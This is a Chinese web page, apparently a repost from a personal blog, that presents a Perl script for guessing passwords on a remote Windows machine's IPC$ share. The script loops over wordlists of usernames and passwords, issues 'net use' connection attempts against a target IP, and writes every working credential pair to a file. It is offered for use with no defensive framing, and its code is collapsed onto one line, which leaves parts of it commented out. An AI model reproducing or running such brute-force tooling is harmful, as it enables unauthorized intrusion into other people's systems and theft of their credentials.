注册
登录
| 关键词： nbsp password print name host file USER 文件 PASS ipcscan |
来源：风泽's blog 用perl调用系统命令来实现IPC$远程猜解，适合win2k以上的系统。 #usr/bin/perl -w print "请输入要猜解的IP:"; $host=<STDIN>;chop($host);$file1="NT_USER";$file2="NT_PASS";open(FILE,"user.txt")||die "$file1文件是不是你搞丢了啊？自己重写一个吧\n" ;while(@user=<FILE>){foreach $name(@user){ chomp($name);open(FILE,"pass.txt")||die "$file2文件是不是你搞丢了啊？自己重写一个吧\n" ;while(@pass=<FILE>){foreach $password(@pass){chop($password);print ("正在尝试 Name=$name Pass=$password "); #从这里往上不要我解释了吧print "net use \\$host\ipc$ $password /user:$name";$check=`"net use \\$host\ipc$ $password /user:$name"`; #调用perl函数，执行系统命令if($check) { #判断连接是否成功print "--------连接成功！！\n";system ("net use \\$host\ipc$ /del"); #成功连接后就删除连接，并打开文件写入open (H,">>ipcscan.txt")||die "打不开ipcscan.txt\n";print H "主机$host 用户名:$name 密码:$password \n";close H;}print "\n";}}}}print "结果已写入ipcscan.txt文件请查看\n"; |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
